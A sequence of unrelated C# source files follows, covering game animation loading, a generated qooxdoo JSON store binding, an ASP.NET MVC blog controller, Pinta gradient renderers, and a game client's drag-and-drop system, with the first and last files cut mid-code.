#else throw new NotImplementedException(); #endif } else { Anim.AnimationChain animationChain = new Anim.AnimationChain(); animationChain.Name = Name; float divisor = 1; if (timeMeasurementUnit == TimeMeasurementUnit.Millisecond) divisor = 1000; foreach (AnimationFrameSave save in Frames) { // process the AnimationFrame and add it to the newly-created AnimationChain AnimationFrame frame = null; bool loadTexture = true; frame = save.ToAnimationFrame(contentManagerName, loadTexture, coordinateType); frame.FrameLength /= divisor; animationChain.Add(frame); } return animationChain; } } // private Anim.AnimationChain ToAnimationChain(string contentManagerName, TextureAtlas textureAtlas, // TimeMeasurementUnit timeMeasurementUnit, TextureCoordinateType coordinateType) // { // if (!string.IsNullOrEmpty(ParentFile)) // { //#if !WINDOWS_8 // FlatRedBall.Graphics.Animation.AnimationChain animationChain = // FlatRedBall.Graphics.Animation.AnimationChain.FromGif( // ParentFile, contentManagerName); // animationChain.Name = Name; // animationChain.ParentGifFileName = ParentFile; // if (animationChain.Count == this.Frames.Count) // { // for (int i = 0; i < animationChain.Count; i++) // { // animationChain[i].FlipHorizontal = Frames[i].FlipHorizontal; // animationChain[i].FlipVertical = Frames[i].FlipVertical; // animationChain[i].FrameLength = Frames[i].FrameLength; // animationChain[i].RelativeX = Frames[i].RelativeX; // animationChain[i].RelativeY = Frames[i].RelativeY; // animationChain[i].TopCoordinate = Frames[i].TopCoordinate; // animationChain[i].BottomCoordinate = Frames[i].BottomCoordinate; // animationChain[i].LeftCoordinate = Frames[i].LeftCoordinate; // animationChain[i].RightCoordinate = Frames[i].RightCoordinate; // } // } // return animationChain; //#else // throw new NotImplementedException(); //#endif // } // else // { // Anim.AnimationChain animationChain = // new Anim.AnimationChain(); // animationChain.Name = Name; // float divisor = 1; // if (timeMeasurementUnit == TimeMeasurementUnit.Millisecond) // divisor = 1000; // foreach (AnimationFrameSave save in Frames) // { // // process the AnimationFrame and add it to the newly-created AnimationChain // AnimationFrame frame = null; // if (textureAtlas == null) // { // bool loadTexture = true; // frame = save.ToAnimationFrame(contentManagerName, loadTexture, coordinateType); // } // else // { // frame = save.ToAnimationFrame(textureAtlas); // } // frame.FrameLength /= divisor; // animationChain.Add(frame); // } // return animationChain; // } // } public override string ToString() { return this.Name + " with " + this.Frames.Count + " frames"; } #endregion internal static AnimationChainSave FromXElement(System.Xml.Linq.XElement element) { AnimationChainSave toReturn = new AnimationChainSave(); foreach (var subElement in element.Elements()) { switch (subElement.Name.LocalName) { case "Name": toReturn.Name = subElement.Value; break; case "ColorKey": toReturn.ColorKey = AsUint(subElement); break; case "Frame": toReturn.Frames.Add(AnimationFrameSave.FromXElement(subElement)); break; } } return toReturn; } private static uint AsUint(System.Xml.Linq.XElement element) { return uint.Parse(element.Value, CultureInfo.InvariantCulture); } } }
// Generated by SharpKit.QooxDoo.Generator using System; using System.Collections.Generic; using SharpKit.Html; using SharpKit.JavaScript; namespace qx.data.store { /// <summary> /// <para>The JSON data store is responsible for fetching data from an url. The type /// of the data has to be json.</para> /// <para>The loaded data will be parsed and saved in qooxdoo objects. Every value /// of the loaded data will be stored in a qooxdoo property. The model classes /// for the data will be created automatically.</para> /// <para>For the fetching itself it uses the <see cref="qx.io.request.Xhr"/> class and /// for parsing the loaded javascript objects into qooxdoo objects, the /// <see cref="qx.data.marshal.Json"/> class will be used.</para> /// <para>Please note that if you</para> /// <list type="bullet"> /// <item>upgrade from qooxdoo 1.4 or lower</item> /// <item>choose not to force the old transport</item> /// <item>use a delegate with qx.data.store.IStoreDelegate#configureRequest</item> /// </list> /// <para>you probably need to change the implementation of your delegate to configure /// the <see cref="qx.io.request.Xhr"/> request.</para> /// </summary> [JsType(JsMode.Prototype, Name = "qx.data.store.Json", OmitOptionalParameters = true, Export = false)] public partial class Json : qx.core.Object { #region Events /// <summary> /// Fired on change of the property <see cref="Model"/>. /// </summary> public event Action<qx.eventx.type.Data> OnChangeModel; /// <summary> /// Fired on change of the property <see cref="State"/>. /// </summary> public event Action<qx.eventx.type.Data> OnChangeState; /// <summary> /// Fired on change of the property <see cref="Url"/>. /// </summary> public event Action<qx.eventx.type.Data> OnChangeUrl; /// <summary> /// <para>Fired when an error (aborted, timeout or failed) occurred /// during the load. The data contains the respons of the request. /// If you want more details, use the <see cref="ChangeState"/> event.</para> /// </summary> public event Action<qx.eventx.type.Data> OnError; /// <summary> /// <para>Data event fired after the model has been created. The data will be the /// created model.</para> /// </summary> public event Action<qx.eventx.type.Data> OnLoaded; #endregion Events #region Properties /// <summary> /// <para>Property for holding the loaded model instance.</para> /// </summary> /// <remarks> /// Allow nulls: true /// </remarks> [JsProperty(Name = "model", NativeField = true)] public object Model { get; set; } /// <summary> /// <para>The state of the request as an url. If you want to check if the request /// did it&#8217;s job, use, the <see cref="ChangeState"/> event and check for one of the /// listed values.</para> /// </summary> /// <remarks> /// Possible values: "configured","queued","sending","receiving","completed","aborted","timeout","failed" /// </remarks> [JsProperty(Name = "state", NativeField = true)] public object State { get; set; } /// <summary> /// <para>The url where the request should go to.</para> /// </summary> /// <remarks> /// Allow nulls: true /// </remarks> [JsProperty(Name = "url", NativeField = true)] public string Url { get; set; } #endregion Properties #region Methods public Json() { throw new NotImplementedException(); } /// <param name="url">The url where to find the data. The store starts loading as soon as the URL is give. If you want to change some details concerning the request, add null here and set the URL as soon as everything is set up.</param> /// <param name="delegatex">The delegate containing one of the methods specified in qx.data.store.IStoreDelegate.</param> public Json(string url, object delegatex = null) { throw new NotImplementedException(); } /// <summary> /// <para>Returns the (computed) value of the property model.</para> /// </summary> [JsMethod(Name = "getModel")] public object GetModel() { throw new NotImplementedException(); } /// <summary> /// <para>Returns the (computed) value of the property state.</para> /// </summary> [JsMethod(Name = "getState")] public object GetState() { throw new NotImplementedException(); } /// <summary> /// <para>Returns the (computed) value of the property url.</para> /// </summary> [JsMethod(Name = "getUrl")] public string GetUrl() { throw new NotImplementedException(); } /// <summary> /// <para>Calls the apply method and dispatches the change event of the property model /// with the default value defined by the class developer. This function can /// only be called from the constructor of a class.</para> /// </summary> /// <param name="value">Initial value for property model.</param> [JsMethod(Name = "initModel")] public void InitModel(object value) { throw new NotImplementedException(); } /// <summary> /// <para>Calls the apply method and dispatches the change event of the property state /// with the default value defined by the class developer. This function can /// only be called from the constructor of a class.</para> /// </summary> /// <param name="value">Initial value for property state.</param> [JsMethod(Name = "initState")] public void InitState(object value) { throw new NotImplementedException(); } /// <summary> /// <para>Calls the apply method and dispatches the change event of the property url /// with the default value defined by the class developer. This function can /// only be called from the constructor of a class.</para> /// </summary> /// <param name="value">Initial value for property url.</param> [JsMethod(Name = "initUrl")] public void InitUrl(object value) { throw new NotImplementedException(); } /// <summary> /// <para>Reloads the data with the url set in the <see cref="Url"/> property.</para> /// </summary> [JsMethod(Name = "reload")] public void Reload() { throw new NotImplementedException(); } /// <summary> /// <para>Resets the user value of the property model.</para> /// <para>The computed value falls back to the next available value e.g. appearance, init or /// inheritance value depeneding on the property configuration and value availability.</para> /// </summary> [JsMethod(Name = "resetModel")] public void ResetModel() { throw new NotImplementedException(); } /// <summary> /// <para>Resets the user value of the property state.</para> /// <para>The computed value falls back to the next available value e.g. appearance, init or /// inheritance value depeneding on the property configuration and value availability.</para> /// </summary> [JsMethod(Name = "resetState")] public void ResetState() { throw new NotImplementedException(); } /// <summary> /// <para>Resets the user value of the property url.</para> /// <para>The computed value falls back to the next available value e.g. appearance, init or /// inheritance value depeneding on the property configuration and value availability.</para> /// </summary> [JsMethod(Name = "resetUrl")] public void ResetUrl() { throw new NotImplementedException(); } /// <summary> /// <para>Sets the user value of the property model.</para> /// </summary> /// <param name="value">New value for property model.</param> [JsMethod(Name = "setModel")] public void SetModel(object value) { throw new NotImplementedException(); } /// <summary> /// <para>Sets the user value of the property state.</para> /// </summary> /// <param name="value">New value for property state.</param> [JsMethod(Name = "setState")] public void SetState(object value) { throw new NotImplementedException(); } /// <summary> /// <para>Sets the user value of the property url.</para> /// </summary> /// <param name="value">New value for property url.</param> [JsMethod(Name = "setUrl")] public void SetUrl(string value) { throw new NotImplementedException(); } #endregion Methods } }
using System; using System.Collections.Generic; using System.Configuration; using System.Data.Entity; using System.Linq; using System.ServiceModel.Syndication; using System.Threading.Tasks; using System.Web.Mvc; using System.Web.UI.WebControls; using MVCBlog.Core.Commands; using MVCBlog.Core.Database; using MVCBlog.Core.Entities; using MVCBlog.Website.Models.OutputModels.Blog; using MvcSiteMapProvider.Web.Mvc.Filters; using Palmmedia.Common.Linq; using Palmmedia.Common.Net.Mvc; namespace MVCBlog.Website.Controllers { /// <summary> /// Controller for the blog. /// </summary> public partial class BlogController : Controller { /// <summary> /// Number of <see cref="BlogEntry">BlogEntries</see> per page. /// </summary> private const int ENTRIESPERPAGE = 8; /// <summary> /// The repository. /// </summary> private readonly IRepository repository; /// <summary> /// The add blog entry comment command handler. /// </summary> private readonly ICommandHandler<AddBlogEntryCommentCommand> addBlogEntryCommentCommandHandler; /// <summary> /// The delete blog entry comment command hander. /// </summary> private readonly ICommandHandler<DeleteCommand<BlogEntryComment>> deleteBlogEntryCommentCommandHander; /// <summary> /// The delete blog entry command hander. /// </summary> private readonly ICommandHandler<DeleteBlogEntryCommand> deleteBlogEntryCommandHander; /// <summary> /// The update blog entry command handler. /// </summary> private readonly ICommandHandler<UpdateCommand<BlogEntry>> updateBlogEntryCommandHandler; /// <summary> /// The update blog entry file command handler. /// </summary> private readonly ICommandHandler<UpdateCommand<BlogEntryFile>> updateBlogEntryFileCommandHandler; /// <summary> /// Initializes a new instance of the <see cref="BlogController" /> class. /// </summary> /// <param name="repository">The repository.</param> /// <param name="addBlogEntryCommentCommandHandler">The add blog entry comment command handler.</param> /// <param name="deleteBlogEntryCommentCommandHander">The delete blog entry comment command hander.</param> /// <param name="deleteBlogEntryCommandHander">The delete blog entry command hander.</param> /// <param name="updateBlogEntryCommandHandler">The update blog entry command handler.</param> /// <param name="updateBlogEntryFileCommandHandler">The update blog entry file command handler.</param> public BlogController( IRepository repository, ICommandHandler<AddBlogEntryCommentCommand> addBlogEntryCommentCommandHandler, ICommandHandler<DeleteCommand<BlogEntryComment>> deleteBlogEntryCommentCommandHander, ICommandHandler<DeleteBlogEntryCommand> deleteBlogEntryCommandHander, ICommandHandler<UpdateCommand<BlogEntry>> updateBlogEntryCommandHandler, ICommandHandler<UpdateCommand<BlogEntryFile>> updateBlogEntryFileCommandHandler) { this.repository = repository; this.addBlogEntryCommentCommandHandler = addBlogEntryCommentCommandHandler; this.deleteBlogEntryCommentCommandHander = deleteBlogEntryCommentCommandHander; this.deleteBlogEntryCommandHander = deleteBlogEntryCommandHander; this.updateBlogEntryCommandHandler = updateBlogEntryCommandHandler; this.updateBlogEntryFileCommandHandler = updateBlogEntryFileCommandHandler; } /// <summary> /// Shows all <see cref="BlogEntry">BlogEntries</see>. /// </summary> /// <param name="tag">The tag.</param> /// <param name="search">The search.</param> /// <param name="page">Number of the page.</param> /// <returns>A view showing all <see cref="BlogEntry">BlogEntries</see>.</returns> [ValidateInput(false)] public virtual ActionResult Index(string tag, string search, int? page) { var entries = this.GetAll( tag, search, new Paging(page.GetValueOrDefault(1), ENTRIESPERPAGE, PropertyResolver.GetPropertyName<BlogEntry>(b => b.PublishDate), SortDirection.Descending)); var model = new IndexModel(); model.Entries = entries.ToArray(); model.TotalPages = (int)Math.Ceiling((double)entries.TotalNumberOfItems / ENTRIESPERPAGE); model.CurrentPage = page; model.Tag = tag; model.Search = search; return this.View(model); } /// <summary> /// Shows a single <see cref="BlogEntry"/>. /// </summary> /// <param name="id">The id.</param> /// <returns>A view showing a single <see cref="BlogEntry"/>.</returns> [SiteMapTitle("Header")] public async virtual Task<ActionResult> Entry(string id) { var entry = await this.GetByHeader(id); if (entry == null) { return new HttpNotFoundWithViewResult(MVC.Shared.Views.NotFound); } if (!this.Request.IsAuthenticated) { entry.Visits++; await this.updateBlogEntryCommandHandler.HandleAsync(new UpdateCommand<BlogEntry>() { Entity = entry }); } return this.View(new BlogEntryDetail() { BlogEntry = entry, RelatedBlogEntries = await this.GetRelatedBlogEntries(entry) }); } /// <summary> /// Adds a <see cref="Comment"/> to a <see cref="BlogEntry"/>. /// </summary> /// <param name="id">The id.</param> /// <param name="blogEntryComment">The comment.</param> /// <returns>A view showing a single <see cref="BlogEntry"/>.</returns> [SiteMapTitle("Header")] [Palmmedia.Common.Net.Mvc.SpamProtection(4)] [ValidateAntiForgeryToken] [HttpPost] public async virtual Task<ActionResult> Entry(string id, [Bind(Include = "Name, Email, Homepage, Comment")] BlogEntryComment blogEntryComment) { var entry = await this.GetByHeader(id); if (entry == null) { return new HttpNotFoundResult(); } this.ModelState.Remove("BlogEntryId"); if (!ModelState.IsValid) { var errorModel = new BlogEntryDetail() { BlogEntry = entry }; if (this.Request.IsAjaxRequest()) { return this.PartialView(MVC.Blog.Views._CommentsControl, errorModel); } else { errorModel.RelatedBlogEntries = await this.GetRelatedBlogEntries(entry); return this.View(errorModel); } } blogEntryComment.AdminPost = this.Request.IsAuthenticated; blogEntryComment.BlogEntryId = entry.Id; entry.BlogEntryComments.Add(blogEntryComment); await this.addBlogEntryCommentCommandHandler.HandleAsync(new AddBlogEntryCommentCommand() { Entity = blogEntryComment }); var model = new BlogEntryDetail() { BlogEntry = entry, HideNewCommentsForm = true }; if (this.Request.IsAjaxRequest()) { return this.PartialView(MVC.Blog.Views._CommentsControl, model); } else { model.RelatedBlogEntries = await this.GetRelatedBlogEntries(entry); return this.View(model); } } /// <summary> /// Shows a tag cloud. /// </summary> /// <returns>A view showing a tag cloud.</returns> [ChildActionOnly] [OutputCache(Duration = 3600)] public virtual ActionResult Tags() { var tags = this.repository.Tags .AsNoTracking() .OrderBy(t => t.Name) .ToArray(); if (tags.Length > 0) { return this.PartialView(MVC.Shared.Views._TagListControl, tags); } else { return new EmptyResult(); } } /// <summary> /// Shows the most populars the blog entries. /// </summary> /// <returns>A view showing the most populars the blog entries.</returns> [ChildActionOnly] [OutputCache(Duration = 3600)] public virtual ActionResult PopularBlogEntries() { var blogEntries = this.repository.BlogEntries .AsNoTracking() .OrderByDescending(b => b.Visits) .Take(5) .ToArray(); if (blogEntries.Length > 0) { return this.PartialView(MVC.Shared.Views._PopularBlogEntriesControl, blogEntries); } else { return new EmptyResult(); } } /// <summary> /// Returns an RSS-Feed of all <see cref="BlogEntry">BlogEntries</see>. /// </summary> /// <returns>RSS-Feed of all <see cref="BlogEntry">BlogEntries</see>.</returns> [OutputCache(CacheProfile = "Long")] public async virtual Task<ActionResult> Feed() { var entries = await this.repository.BlogEntries .Include(b => b.Tags) .AsNoTracking() .Where(b => b.Visible && b.PublishDate <= DateTime.Now) .OrderByDescending(b => b.PublishDate) .ToArrayAsync(); string baseUrl = this.Request.Url.GetLeftPart(UriPartial.Authority); var feed = new SyndicationFeed( ConfigurationManager.AppSettings["BlogName"], ConfigurationManager.AppSettings["BlogDescription"], new Uri(this.Request.Url.GetLeftPart(UriPartial.Authority) + Url.Action(MVC.Blog.Feed()))); feed.BaseUri = new Uri(baseUrl); if (entries.Any()) { DateTime createdDate = entries.First().PublishDate; DateTime? lastModifiedDate = entries.OrderByDescending(e => e.Modified).First().Modified; if (lastModifiedDate.HasValue && lastModifiedDate.Value > createdDate) { feed.LastUpdatedTime = lastModifiedDate.Value; } else { feed.LastUpdatedTime = createdDate; } } var feedItems = new List<SyndicationItem>(); foreach (var blogEntry in entries) { var syndicationItem = new SyndicationItem( blogEntry.Header, SyndicationContent.CreateXhtmlContent(blogEntry.ShortContent + blogEntry.Content), new Uri(baseUrl + Url.Action(blogEntry.Url)), blogEntry.Id.ToString(), blogEntry.Modified.HasValue ? blogEntry.Modified.Value : blogEntry.PublishDate); if (!string.IsNullOrEmpty(blogEntry.Author)) { syndicationItem.Authors.Add(new SyndicationPerson() { Name = blogEntry.Author }); } foreach (var tag in blogEntry.Tags) { syndicationItem.Categories.Add(new SyndicationCategory(tag.Name)); } feedItems.Add(syndicationItem); } feed.Items = feedItems; return new Palmmedia.Common.Net.Mvc.Feed.RssSyndicationFeedActionResult(feed); } /// <summary> /// Deletes the <see cref="BlogEntry"/> with the given id. /// </summary> /// <param name="id">The id.</param> /// <returns>A view showing all <see cref="BlogEntry">BlogEntries</see>.</returns> [Authorize] public async virtual Task<ActionResult> Delete(Guid id) { await this.deleteBlogEntryCommandHander.HandleAsync(new DeleteBlogEntryCommand() { Id = id }); return this.RedirectToAction(MVC.Blog.Index()); } /// <summary> /// Deletes the <see cref="Comment"/> with the given id. /// </summary> /// <param name="id">The id.</param> /// <returns>A view showing all <see cref="BlogEntry">BlogEntries</see>.</returns> [Authorize] public async virtual Task<ActionResult> DeleteComment(Guid id) { await this.deleteBlogEntryCommentCommandHander.HandleAsync(new DeleteCommand<BlogEntryComment>() { Id = id }); return this.Redirect(this.Request.UrlReferrer.ToString()); } /// <summary> /// Streams the <see cref="BlogEntryFile"/> with the given id. /// </summary> /// <param name="id">The id.</param> /// <returns>The <see cref="BlogEntryFile"/> as Download.</returns> public async virtual Task<ActionResult> Download(Guid id) { var blogEntryFile = await this.repository.BlogEntryFiles .AsNoTracking() .SingleOrDefaultAsync(b => b.Id == id); if (blogEntryFile == null) { return new HttpNotFoundWithViewResult(MVC.Shared.Views.NotFound); } blogEntryFile.Counter++; await this.updateBlogEntryFileCommandHandler.HandleAsync(new UpdateCommand<BlogEntryFile>() { Entity = blogEntryFile }); var file = new FileContentResult(blogEntryFile.Data, "application/octet-stream"); file.FileDownloadName = blogEntryFile.Name + "." + blogEntryFile.Extension; return file; } /// <summary> /// Shows the imprint. /// </summary> /// <returns>The imprint view.</returns> public virtual ActionResult Imprint() { return this.View(); } /// <summary> /// Returns the <see cref="BlogEntry"/> with the given header. /// </summary> /// <param name="header">The header.</param> /// <returns> /// The <see cref="BlogEntry"/> with the given header. /// </returns> private Task<BlogEntry> GetByHeader(string header) { var entry = this.repository.BlogEntries .Include(b => b.Tags) .Include(b => b.BlogEntryComments) .Include(b => b.BlogEntryFiles) .Include(b => b.BlogEntryPingbacks) .AsNoTracking() .Where(e => (e.Visible && e.PublishDate <= DateTime.Now) || this.Request.IsAuthenticated) .SingleOrDefaultAsync(e => e.HeaderUrl.Equals(header)); return entry; } /// <summary> /// Returns all <see cref="BlogEntry">BlogEntries</see>. /// </summary> /// <param name="tag">The text of the tag.</param> /// <param name="search">The search.</param> /// <param name="paging">The <see cref="Paging"/>.</param> /// <returns> /// All <see cref="BlogEntry">BlogEntries</see>. /// </returns> private PagedResult<BlogEntry> GetAll(string tag, string search, Paging paging) { var query = this.repository.BlogEntries .Include(b => b.BlogEntryComments) .AsNoTracking() .Where(e => (e.Visible && e.PublishDate <= DateTime.Now) || this.Request.IsAuthenticated); if (!string.IsNullOrEmpty(tag)) { query = query.Where(e => e.Tags.Count(t => t.Name.Equals(tag, StringComparison.OrdinalIgnoreCase)) > 0); } if (!string.IsNullOrEmpty(search)) { foreach (var item in search.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries)) { query = query.Where(e => e.Header.Contains(item) || e.Content.Contains(item) || e.ShortContent.Contains(item)); } } return query.GetPagedResult(paging); } /// <summary> /// Returns related <see cref="BlogEntry">BlogEntries</see>. /// </summary> /// <param name="entry">The <see cref="BlogEntry"/>.</param> /// <returns> /// The related <see cref="BlogEntry">BlogEntries</see>. /// </returns> private Task<BlogEntry[]> GetRelatedBlogEntries(BlogEntry entry) { var tagIds = entry.Tags.Select(t => t.Id).ToArray(); var query = this.repository.BlogEntries .AsNoTracking() .Where(e => e.Visible && e.PublishDate <= DateTime.Now && e.Id != entry.Id) .Where(e => e.Tags.Any(t => tagIds.Contains(t.Id))) .OrderByDescending(e => e.Tags.Count(t => tagIds.Contains(t.Id))) .ThenByDescending(e => e.Created) .Take(3) .ToArrayAsync(); return query; } } }
///////////////////////////////////////////////////////////////////////////////// // Paint.NET // // Copyright (C) dotPDN LLC, Rick Brewster, Tom Jackson, and contributors. // // Portions Copyright (C) Microsoft Corporation. All Rights Reserved. // // See license-pdn.txt for full licensing and attribution details. // ///////////////////////////////////////////////////////////////////////////////// using System; using Cairo; namespace Pinta.Core { public static class GradientRenderers { public abstract class LinearBase : GradientRenderer { protected double dtdx; protected double dtdy; public override void BeforeRender () { PointD vec = new PointD (EndPoint.X - StartPoint.X, EndPoint.Y - StartPoint.Y); double mag = vec.Magnitude (); if (EndPoint.X == StartPoint.X) { this.dtdx = 0; } else { this.dtdx = vec.X / (mag * mag); } if (EndPoint.Y == StartPoint.Y) { this.dtdy = 0; } else { this.dtdy = vec.Y / (mag * mag); } base.BeforeRender (); } protected internal LinearBase (bool alphaOnly, BinaryPixelOp normalBlendOp) : base(alphaOnly, normalBlendOp) { } } public abstract class LinearStraight : LinearBase { private int _startY; private int _startX; protected internal LinearStraight(bool alphaOnly, BinaryPixelOp normalBlendOp) : base(alphaOnly, normalBlendOp) { } private static byte BoundLerp(double t) { return (byte)(Utility.Clamp(Math.Abs(t), 0, 1) * 255f); } public override void BeforeRender() { base.BeforeRender(); _startX = (int)StartPoint.X; _startY = (int)StartPoint.Y; } public override byte ComputeByteLerp(int x, int y) { var dx = x - _startX; var dy = y - _startY; var lerp = (dx*dtdx) + (dy*dtdy); return BoundLerp(lerp); } } public sealed class LinearReflected : LinearStraight { public LinearReflected(bool alphaOnly, BinaryPixelOp normalBlendOp) : base(alphaOnly, normalBlendOp) { } } public sealed class LinearClamped : LinearStraight { public LinearClamped(bool alphaOnly, BinaryPixelOp normalBlendOp) : base(alphaOnly, normalBlendOp) { } } public sealed class LinearDiamond : LinearStraight { public LinearDiamond(bool alphaOnly, BinaryPixelOp normalBlendOp) : base(alphaOnly, normalBlendOp) { } public override byte ComputeByteLerp(int x, int y) { var dx = x - StartPoint.X; var dy = y - StartPoint.Y; var lerp1 = (dx*dtdx) + (dy*dtdy); var lerp2 = (dx*dtdy) - (dy*dtdx); var absLerp1 = Math.Abs(lerp1); var absLerp2 = Math.Abs(lerp2); return BoundLerp(absLerp1 + absLerp2); } private byte BoundLerp(double t) { return (byte)(Utility.Clamp(t, 0, 1)*255f); } } public sealed class Radial : GradientRenderer { private double invDistanceScale; public Radial(bool alphaOnly, BinaryPixelOp normalBlendOp) : base(alphaOnly, normalBlendOp) { } int _startX, _startY; public override void BeforeRender() { var distanceScale = StartPoint.Distance(EndPoint); _startX = (int)StartPoint.X; _startY = (int)StartPoint.Y; if (distanceScale == 0) invDistanceScale = 0; else invDistanceScale = 1f / distanceScale; base.BeforeRender(); } public override byte ComputeByteLerp(int x, int y) { var dx = x - _startX; var dy = y - _startY; var distance = Math.Sqrt(dx*dx + dy*dy); var result = distance*invDistanceScale; if (result < 0.0) return 0; return result > 1.0 ? (byte)255 : (byte)(result*255f); } } public sealed class Conical : GradientRenderer { private const double invPi = 1.0 / Math.PI; private double tOffset; public Conical(bool alphaOnly, BinaryPixelOp normalBlendOp) : base(alphaOnly, normalBlendOp) { } public override void BeforeRender() { var ax = EndPoint.X - StartPoint.X; var ay = EndPoint.Y - StartPoint.Y; var theta = Math.Atan2(ay, ax); var t = theta * invPi; tOffset = -t; base.BeforeRender(); } public override byte ComputeByteLerp(int x, int y) { var ax = x - StartPoint.X; var ay = y - StartPoint.Y; var theta = Math.Atan2(ay, ax); var t = theta*invPi; return (byte)(BoundLerp(t + tOffset)*255f); } public double BoundLerp(double t) { if (t > 1) t -= 2; else if (t < -1) t += 2; return Utility.Clamp(Math.Abs(t), 0, 1); } } } }
using Content.Client.Outline; using Content.Client.Viewport; using Content.Shared.ActionBlocker; using Content.Shared.DragDrop; using Content.Shared.Interaction; using Content.Shared.Interaction.Events; using Content.Shared.Popups; using JetBrains.Annotations; using Robust.Client.GameObjects; using Robust.Client.Graphics; using Robust.Client.Input; using Robust.Client.Player; using Robust.Client.State; using Robust.Shared.Input; using Robust.Shared.Input.Binding; using Robust.Shared.Prototypes; using Robust.Shared.Utility; using DrawDepth = Content.Shared.DrawDepth.DrawDepth; namespace Content.Client.DragDrop { /// <summary> /// Handles clientside drag and drop logic /// </summary> [UsedImplicitly] public sealed class DragDropSystem : SharedDragDropSystem { [Dependency] private readonly IStateManager _stateManager = default!; [Dependency] private readonly IInputManager _inputManager = default!; [Dependency] private readonly IEyeManager _eyeManager = default!; [Dependency] private readonly IPlayerManager _playerManager = default!; [Dependency] private readonly IPrototypeManager _prototypeManager = default!; [Dependency] private readonly InteractionOutlineSystem _outline = default!; [Dependency] private readonly SharedInteractionSystem _interactionSystem = default!; [Dependency] private readonly InputSystem _inputSystem = default!; [Dependency] private readonly ActionBlockerSystem _actionBlockerSystem = default!; // how often to recheck possible targets (prevents calling expensive // check logic each update) private const float TargetRecheckInterval = 0.25f; // if a drag ends up being cancelled and it has been under this // amount of time since the mousedown, we will "replay" the original // mousedown event so it can be treated like a regular click private const float MaxMouseDownTimeForReplayingClick = 0.85f; private const string ShaderDropTargetInRange = "SelectionOutlineInrange"; private const string ShaderDropTargetOutOfRange = "SelectionOutline"; // entity performing the drag action private EntityUid _dragger; private readonly List<IDraggable> _draggables = new(); private EntityUid _dragShadow; // time since mouse down over the dragged entity private float _mouseDownTime; // how much time since last recheck of all possible targets private float _targetRecheckTime; // reserved initial mousedown event so we can replay it if no drag ends up being performed private PointerInputCmdHandler.PointerInputCmdArgs? _savedMouseDown; // whether we are currently replaying the original mouse down, so we // can ignore any events sent to this system private bool _isReplaying; private DragDropHelper<EntityUid> _dragDropHelper = default!; private ShaderInstance? _dropTargetInRangeShader; private ShaderInstance? _dropTargetOutOfRangeShader; private readonly List<ISpriteComponent> _highlightedSprites = new(); public override void Initialize() { UpdatesOutsidePrediction = true; _dragDropHelper = new DragDropHelper<EntityUid>(OnBeginDrag, OnContinueDrag, OnEndDrag); _dropTargetInRangeShader = _prototypeManager.Index<ShaderPrototype>(ShaderDropTargetInRange).Instance(); _dropTargetOutOfRangeShader = _prototypeManager.Index<ShaderPrototype>(ShaderDropTargetOutOfRange).Instance(); // needs to fire on mouseup and mousedown so we can detect a drag / drop CommandBinds.Builder .BindBefore(EngineKeyFunctions.Use, new PointerInputCmdHandler(OnUse, false), new[] { typeof(SharedInteractionSystem) }) .Register<DragDropSystem>(); } public override void Shutdown() { _dragDropHelper.EndDrag(); CommandBinds.Unregister<DragDropSystem>(); base.Shutdown(); } private bool OnUse(in PointerInputCmdHandler.PointerInputCmdArgs args) { // not currently predicted if (_inputSystem.Predicted) return false; // currently replaying a saved click, don't handle this because // we already decided this click doesn't represent an actual drag attempt if (_isReplaying) return false; if (args.State == BoundKeyState.Down) { return OnUseMouseDown(args); } else if (args.State == BoundKeyState.Up) { return OnUseMouseUp(args); } return false; } private bool OnUseMouseDown(in PointerInputCmdHandler.PointerInputCmdArgs args) { if (args.Session?.AttachedEntity is not {Valid: true} dragger) { return false; } // cancel any current dragging if there is one (shouldn't be because they would've had to have lifted // the mouse, canceling the drag, but just being cautious) _dragDropHelper.EndDrag(); // possibly initiating a drag // check if the clicked entity is draggable if (!EntityManager.EntityExists(args.EntityUid)) { return false; } // check if the entity is reachable if (!_interactionSystem.InRangeUnobstructed(dragger, args.EntityUid)) { return false; } var canDrag = false; foreach (var draggable in EntityManager.GetComponents<IDraggable>(args.EntityUid)) { var dragEventArgs = new StartDragDropEvent(dragger, args.EntityUid); if (!draggable.CanStartDrag(dragEventArgs)) { continue; } _draggables.Add(draggable); canDrag = true; } if (!canDrag) { return false; } // wait to initiate a drag _dragDropHelper.MouseDown(args.EntityUid); _dragger = dragger; _mouseDownTime = 0; // don't want anything else to process the click, // but we will save the event so we can "re-play" it if this drag does // not turn into an actual drag so the click can be handled normally _savedMouseDown = args; return true; } private bool OnBeginDrag() { if (_dragDropHelper.Dragged == default || Deleted(_dragDropHelper.Dragged)) { // something happened to the clicked entity or we moved the mouse off the target so // we shouldn't replay the original click return false; } if (EntityManager.TryGetComponent<SpriteComponent?>(_dragDropHelper.Dragged, out var draggedSprite)) { // pop up drag shadow under mouse var mousePos = _eyeManager.ScreenToMap(_dragDropHelper.MouseScreenPosition); _dragShadow = EntityManager.SpawnEntity("dragshadow", mousePos); var dragSprite = EntityManager.GetComponent<SpriteComponent>(_dragShadow); dragSprite.CopyFrom(draggedSprite); dragSprite.RenderOrder = EntityManager.CurrentTick.Value; dragSprite.Color = dragSprite.Color.WithAlpha(0.7f); // keep it on top of everything dragSprite.DrawDepth = (int) DrawDepth.Overlays; if (!dragSprite.NoRotation) { EntityManager.GetComponent<TransformComponent>(_dragShadow).WorldRotation = EntityManager.GetComponent<TransformComponent>(_dragDropHelper.Dragged).WorldRotation; } HighlightTargets(); _outline.SetEnabled(false); // drag initiated return true; } Logger.Warning("Unable to display drag shadow for {0} because it" + " has no sprite component.", EntityManager.GetComponent<MetaDataComponent>(_dragDropHelper.Dragged).EntityName); return false; } private bool OnContinueDrag(float frameTime) { if (_dragDropHelper.Dragged == default || Deleted(_dragDropHelper.Dragged)) { return false; } DebugTools.AssertNotNull(_dragger); // still in range of the thing we are dragging? if (!_interactionSystem.InRangeUnobstructed(_dragger, _dragDropHelper.Dragged)) { return false; } // keep dragged entity under mouse var mousePos = _eyeManager.ScreenToMap(_dragDropHelper.MouseScreenPosition); // TODO: would use MapPosition instead if it had a setter, but it has no setter. // is that intentional, or should we add a setter for Transform.MapPosition? if (_dragShadow == default) return false; _targetRecheckTime += frameTime; if (_targetRecheckTime > TargetRecheckInterval) { HighlightTargets(); _targetRecheckTime -= TargetRecheckInterval; } return true; } private void OnEndDrag() { RemoveHighlights(); if (_dragShadow != default) { EntityManager.DeleteEntity(_dragShadow); } _outline.SetEnabled(true); _dragShadow = default; _draggables.Clear(); _dragger = default; _mouseDownTime = 0; _savedMouseDown = null; } private bool OnUseMouseUp(in 